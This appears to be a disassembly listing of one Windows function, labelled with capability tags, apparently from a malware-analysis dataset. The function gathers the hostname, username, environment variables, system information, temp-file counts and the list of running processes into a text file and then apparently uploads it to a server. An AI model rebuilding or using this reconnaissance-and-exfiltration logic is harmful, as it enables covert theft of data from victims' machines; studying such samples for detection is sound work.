Function at 0x1400036b0
Capabilities:
Enumerate files on windows
Enumerate process modules
Get common file path
Get hostname
Get session user name
Get system information on windows
Query environment variable

Disassembly:
push rbp
lea rbp, [rsp - 0x1720]
mov eax, 0x1820
call fcn.140023230
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x1700], rax
lea rdx, [rsp + 0x60]
mov dword [rsp + 0x60], 0x10
lea rcx, [rbp + 0x11c0]
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
test eax, eax
jne 0x140003717
lea ecx, [rax + 2]
call fcn.14000cf30
mov rcx, rax
lea rdx, str.Failed_to_retrieve_computer_name._n
call fcn.140001060
mov eax, 1
jmp 0x140003d6f
lea r8, [rbp + 0x11c0]
mov qword [rsp + 0x1838], rsi
lea rdx, str._s.txt
lea rcx, [rbp + 0x13e0]
call fcn.140001100
lea rdx, [0x14002ed44]
lea rcx, [rbp + 0x13e0]
call fcn.14000caf4
mov rsi, rax
test rax, rax
jne 0x140003773
lea ecx, [rax + 2]
call fcn.14000cf30
mov rcx, rax
lea rdx, str.Failed_to_open_file_for_writing._n
call fcn.140001060
lea eax, [rsi + 1]
jmp 0x140003d67
mov qword [rsp + 0x1830], rbx
lea rdx, [rbp + 0x11d0]
mov qword [rsp + 0x1840], rdi
mov ecx, 0x104
mov qword [rsp + 0x1818], r14
mov qword [rsp + 0x1810], r15
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
xor ebx, ebx
dec eax
lea rdi, [rbx - 1]
cmp eax, 0x103
ja 0x140003875
lea r8, [0x14002e918]
mov edx, 0x104
lea rcx, [rbp + 0x11d0]
call fcn.1400124ac
xorps xmm0, xmm0
lea rax, [rbp + 0x11d0]
xorps xmm1, xmm1
mov r8, rdi
movups xmmword [rsp + 0x20], xmm0
movdqu xmmword [rsp + 0x30], xmm1
nop dword [rax + rax]
inc r8
cmp word [rax + r8*2], bx
jne 0x1400037f0
lea rdx, [rbp + 0x11d0]
lea rcx, [rsp + 0x20]
call fcn.140004860
cmp qword [rsp + 0x38], 7
lea rcx, [rsp + 0x20]
lea rdx, [rsp + 0x70]
cmova rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov r15, rax
cmp rax, rdi
jne 0x140003c27
mov rdx, qword [rsp + 0x38]
cmp rdx, 7
jbe 0x140003875
mov rcx, qword [rsp + 0x20]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003870
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003d8d
call fcn.140005bec
lea rdx, str.Failed_to_retrieve_temporary_file_count._n
mov rcx, rsi
call fcn.140001060
xorps xmm0, xmm0
lea rdx, str.C:WindowsTemp.
xorps xmm1, xmm1
lea rcx, [rsp + 0x20]
mov r8d, 0x13
movups xmmword [rsp + 0x20], xmm0
movdqu xmmword [rsp + 0x30], xmm1
call fcn.140004860
cmp qword [rsp + 0x38], 7
lea rcx, [rsp + 0x20]
lea rdx, [rsp + 0x70]
cmova rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov r14, rax
cmp rax, rdi
jne 0x140003cc0
mov rdx, qword [rsp + 0x38]
cmp rdx, 7
jbe 0x140003916
mov rcx, qword [rsp + 0x20]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003911
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003d87
call fcn.140005bec
lea rdx, str.Failed_to_retrieve_Windows_temporary_file_count._n
mov rcx, rsi
call fcn.140001060
call fcn.140003010
mov r8d, eax
lea rdx, str.Number_of_items_on_desktop:__d_n
mov rcx, rsi
call fcn.140001060
lea rdx, [rsp + 0x5c]
mov dword [rsp + 0x5c], 0x208
lea rcx, [rbp + 0x11d0]
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
lea r8, [rbp + 0x11d0]
mov rcx, rsi
lea rdx, str.Username:__s_n
call fcn.140001010
lea rdx, [rsp + 0x58]
mov dword [rsp + 0x58], 0x10
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
lea r8, [rsp + 0x20]
mov rcx, rsi
lea rdx, str.Computer_name:__s_n
call fcn.140001010
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov r14, rax
mov rbx, rax
cmp word [rax], 0
je 0x1400039ea
nop word [rax + rax]
mov r8, rbx
lea rdx, [0x14002e980]
mov rcx, rsi
call fcn.140001010
mov rax, rdi
nop word [rax + rax]
cmp word [rbx + rax*2 + 2], 0
lea rax, [rax + 1]
jne 0x1400039d0
lea rbx, [rbx + rax*2]
add rbx, 2
cmp word [rbx], 0
jne 0x1400039b0
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea rdx, str._nHardware_information:_n
mov rcx, rsi
call fcn.140001010
mov r8d, dword [rsp + 0x20]
lea rdx, str.__OEM_ID:__u_n
mov rcx, rsi
call fcn.140001010
mov r8d, dword [rsp + 0x40]
lea rdx, str.__Number_of_processors:__u_n
mov rcx, rsi
call fcn.140001010
mov r8d, dword [rsp + 0x24]
lea rdx, str.__Page_size:__u_n
mov rcx, rsi
call fcn.140001010
mov r8d, dword [rsp + 0x44]
lea rdx, str.__Processor_type:__u_n
mov rcx, rsi
call fcn.140001010
mov r8, qword [rsp + 0x28]
lea rdx, str.__Minimum_application_address:__lx_n
mov rcx, rsi
call fcn.140001010
mov r8, qword [rsp + 0x30]
lea rdx, str.__Maximum_application_address:__lx_n
mov rcx, rsi
call fcn.140001010
mov r8, qword [rsp + 0x38]
lea rdx, str.__Active_processor_mask:__u_n
mov rcx, rsi
call fcn.140001010
lea rdx, str._nProcess_Information:_n
mov rcx, rsi
call fcn.140001060
lea r8, [rsp + 0x58]
mov edx, 0x1000
lea rcx, [rbp + 0x1c0]
call qword [sym.imp.KERNEL32.dll_K32EnumProcesses]
test eax, eax
je 0x140003bb7
mov eax, dword [rsp + 0x58]
shr eax, 2
test eax, eax
je 0x140003bb7
lea r14, [rbp + 0x1c0]
mov r15d, eax
mov r8d, dword [r14]
test r8d, r8d
je 0x140003ba9
xor edx, edx
mov ecx, 0x410
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x140003ba9
movups xmm0, xmmword [str._unknown_]
mov ecx, dword [0x14002eb58]
xor edx, edx
mov dword [rbp + 0x11e0], ecx
mov r8d, 0x1f4
lea rcx, [rbp + 0x11e4]
movaps xmmword [rbp + 0x11d0], xmm0
call fcn.140023600
lea r9, [rsp + 0x5c]
mov r8d, 8
lea rdx, [rsp + 0x50]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_K32EnumProcessModules]
test eax, eax
je 0x140003b6b
mov rdx, qword [rsp + 0x50]
lea r8, [rbp + 0x11d0]
mov r9d, 0x104
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_K32GetModuleBaseNameW]
mov r9d, 0x104
lea r8, [rsp + 0x70]
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_K32GetModuleFileNameExW]
test eax, eax
je 0x140003ba0
lea r9, [rsp + 0x70]
mov rcx, rsi
lea r8, [rbp + 0x11d0]
lea rdx, str.Process_Name:__s__Process_Path:__s_n
call fcn.140001010
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add r14, 4
sub r15, 1
jne 0x140003ae0
mov rcx, rsi
call fcn.14000d0dc
lea rax, [rbp + 0x13e0]
nop word [rax + rax]
cmp byte [rax + rdi + 1], 0
lea rdi, [rdi + 1]
jne 0x140003bd0
lea r8, [rdi + 1]
lea rdx, [rbp + 0x13e0]
lea rcx, [rbp + 0x14f0]
call fcn.14000cd74
lea rcx, [rbp + 0x14f0]
call fcn.140003410
test eax, eax
jne 0x140003d45
lea ecx, [rax + 2]
call fcn.14000cf30
mov rcx, rax
lea rdx, str.Failed_to_upload_file_to_server._n
call fcn.140001060
mov eax, 1
jmp 0x140003d47
mov r14d, ebx
nop word [rax + rax]
test byte [rsp + 0x70], 0x10
lea eax, [r14 + 1]
lea rdx, [rsp + 0x70]
mov rcx, r15
cmovne eax, r14d
mov r14d, eax
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x140003c30
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rdx, qword [rsp + 0x38]
cmp rdx, 7
jbe 0x140003c9d
mov rcx, qword [rsp + 0x20]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003c98
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003d8d
call fcn.140005bec
cmp r14d, edi
je 0x140003875
mov r8d, r14d
lea rdx, str.Number_of_temporary_files:__d_n
mov rcx, rsi
call fcn.140001060
jmp 0x140003884
test byte [rsp + 0x70], 0x10
lea eax, [rbx + 1]
lea rdx, [rsp + 0x70]
mov rcx, r14
cmovne eax, ebx
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x140003cc0
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rdx, qword [rsp + 0x38]
cmp rdx, 7
jbe 0x140003d26
mov rcx, qword [rsp + 0x20]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003d21
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003d87
call fcn.140005bec
cmp ebx, edi
je 0x140003916
mov r8d, ebx
lea rdx, str.Number_of_Windows_temporary_files:__d_n
mov rcx, rsi
call fcn.140001060
jmp 0x140003925
xor eax, eax
mov r14, qword [rsp + 0x1818]
mov rdi, qword [rsp + 0x1840]
mov rbx, qword [rsp + 0x1830]
mov r15, qword [rsp + 0x1810]
mov rsi, qword [rsp + 0x1838]
mov rcx, qword [rbp + 0x1700]
xor rcx, rsp
call fcn.140005b90
add rsp, 0x1820
pop rbp
ret
call fcn.140012c04
int3
call fcn.140012c04
int3